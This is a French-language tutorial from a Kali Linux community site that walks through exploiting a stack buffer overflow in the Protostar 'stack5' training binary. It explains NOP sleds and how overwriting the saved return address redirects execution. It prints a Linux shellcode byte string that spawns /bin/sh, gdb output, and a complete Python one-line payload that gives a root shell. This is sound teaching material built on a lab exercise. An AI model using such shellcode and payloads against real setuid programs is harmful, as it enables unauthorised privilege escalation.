Kali-linux distribution GNU/Linux spécialisée dans l'audit et le pentest.
Kali-linux.fr Communauté française de kali-linux

Difficulté: facile

Lors de l’article précédent nous avons vu comment changer des variables, exécuter des fonctions qui ne le devraient pas à travers un stack base buffer overflow etc…

Mais imaginons le cas où il n’y a rien de tout cela comment réussir à exécuter ce que l’on veux ? Eh bien la solution est simple ! Des Shellcodes, je ne vais pas réexpliquer ce qu’est un Shellcode, il y a déjà un article de ZeR0 qui le fais très bien je vous invite à y faire un tour!

Note: avant de continuer soyez sûr d’avoir bien compris le fonctionnement d’un Shellcode en lisant l’article

Comment exécuter notre Shellcode ?

Vous vous rappelez en réécrivant saved rip, on pouvais rediriger notre flux d’exécution n’importe où dans la mémoire, et pour le coup on va le rediriger vers notre shellcode afin qu’il soit exécuté, tout simplement ! Mais où mettre notre Shellcode ? Eh bien sur la stack ou dans une variable d’environnement comme on l’a déjà vu.

Prenons quelques schéma de pour expliquer comment:

En plaçant un shellcode dans le buffer

[[shellcode][padding]][saved ebp -> peu importe ][saved eip -> l'adresse vers notre shellcode]

Dans ce cas on saute tout simplement vers le shellcode qui est stocké dans le début du buffer

En plaçant un Shellcode derrière eip:

[ buffer (padding) ][saved ebp -> peu importe][saved eip -> adresse dans les nop][nop * nombre assez grand][shellcode]

Eh mais c’est quoi “nop” ?

Vous vous rappeler du premier article ? Je vous invite à y revenir car on y avait vu une instruction en assembleur qui consistait tout simple à …. ne rien faire ! Simplement passer à l’instruction suivante.

En quoi est-ce utile me diriez-vous ? Cela permet d’avoir des adresses qui vont juste vers les instructions suivantes et enfin vers le Shellcode, ainsi on n’a donc plus à prendre l’adresse précise de notre Shellcode mais juste une adresse dans nos “nop”.

Je ne montrerais pas d’autres exemples, vous avez compris le principe 🙂

Exemple pratique d’exploitation

Eh bien mes amis, l’heure de passer au sérieux à sonné ! Sans plus tarder et étant donné qu’un exemple vaut toujours mieux que de longs discours voici le code que nous allons exploiter:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

Ce code est, comme la dernière fois issue du très connu site https://exploit.education qui contient plusieurs exercices d’exploitation de binaire.

Comment placer son Shellcode

D’abord avant de commencer il nous faut un bon Shellcode, 32 bits et sur la plateforme Linux. Dans un prochain article, nous verrons ou et comment trouver le bon shellcode.

Pour l’instant, puisqu’on est sur Kali ici. En voici un :

\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

Cette suite d’instructions machine nous donne à la fin un shell qui nous permet d’exécuter nos commandes.

Bien, pour “débugger” notre programme nous allons utiliser gdb, cela nous permettra entre autre de trouver l’adresse du buffer ou se trouvera notre Shellcode

user@protostar:/opt/protostar/bin$ gdb stack5
GNU gdb (GDB) 7.0.1-debian
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /opt/protostar/bin/stack5...done.
(gdb)

Maintenant nous allons mettre un breakpoint dans main pour arrêter l’exécution du programme et examiner ce qui se trouve sur la stack

(gdb) b main
Breakpoint 1 at 0x80483cd: file stack5/stack5.c, line 10.
(gdb) run
Starting program: /opt/protostar/bin/stack5Breakpoint 1, main (argc=1, argv=0xbffff854) at stack5/stack5.c:10
10 stack5/stack5.c: No such file or directory.
 in stack5/stack5.c
(gdb)

Vous vous rappelez du mini-cours d’assembleur du premier article ? Allez petite question, sur quoi pointe esp ? Oui ! Le début de la stack 🙂 pour trouver l’adresse de esp on va utiliser la commande “p”, abréviation de print:

(gdb) p $esp
$1 = (void *) 0xbffff750

Nous savons que notre buffer est sur la stack, et étant donné qu’il est définit au début du programme il doit être aux alentour de esp, c’est pour cela que nous allons mettre des nop, (afin de ne pas avoir à chercher l’adresse précise de notre shellcode).

Donc voila notre payload final :

(python -c "print 'A'*76 + '\x00\xf8\xff\xbf' + '\x90'*30 + '\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80'";cat) | ./stack5

Oops vous êtes root!

Le cat permet de maintenir l’exécution de notre Shellcode, maintenant si nous tapons “whoami” nous voyons “root” apparaitre ! Félicitation 🙂

Et moi je vous dis, à la prochaine 😉

Leave a Comment

Time limit is exhausted. Please reload CAPTCHA.